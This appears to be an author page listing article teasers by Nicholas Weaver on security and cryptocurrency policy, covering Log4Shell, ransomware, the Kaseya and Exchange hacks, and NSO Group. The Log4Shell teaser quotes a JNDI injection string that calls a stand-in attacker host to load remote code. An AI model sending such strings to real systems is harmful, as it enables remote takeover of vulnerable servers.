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Nicholas Weaver
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Flood the Zone With Cheap Drones
The U.S. government has provided substantial support to the Ukrainian military since the Russian invasion, including supplying Ukraine with sophisticated rocket systems, artillery pieces, surface-to-air…
OFAC, the DPRK and the Tornado of Cash
Cryptocurrency thefts of less than $5 million rates little more than a mention on Web3 is Going Great. Cryptocurrency thefts of less than $50 million…
What's the Deal with the Log4Shell Security Nightmare?
We live in a strange world. What started out as a Minecraft prank, where a message in chat like ${jndi:ldap://attacker.com/pwnyourserver} would take over either a…
Disrupting Cryptocurrencies 2: Lessons From the Poly “Hack”
On Aug. 10, the Poly Network was hacked for a record-setting $600 million theft. While the hack itself was substantial, the events and remedial efforts…
What Happened in the Kaseya VSA Incident?
Right before the start of the holiday weekend, news broke of yet another massive ransomware attack. The apparent Kaseya VSA supply chain attack is likely…
How to Start Disrupting Cryptocurrencies: “Mining” Is Money Transmission
Bitcoin arrived on the scene just two years after the iPhone, and in that time it has helped facilitate a whole lot of bad things….
The Ransomware Problem Is a Bitcoin Problem
The May 7 ransomware shutdown of Colonial Pipeline, resulting in the payment of nearly $5 million to the group responsible for hacking the corporation, illustrates…
The Microsoft Exchange Hack and the Great Email Robbery
As I write this, the world is probably days away from the “Great Email Robbery,” where a large number of threat actors around the globe…
Lessons (So Far) From WhatsApp v. NSO
NSO Group, an Israeli vendor of “lawful” hacking tools designed to infect a target’s phone with spyware, is regarded by many as a bad actor….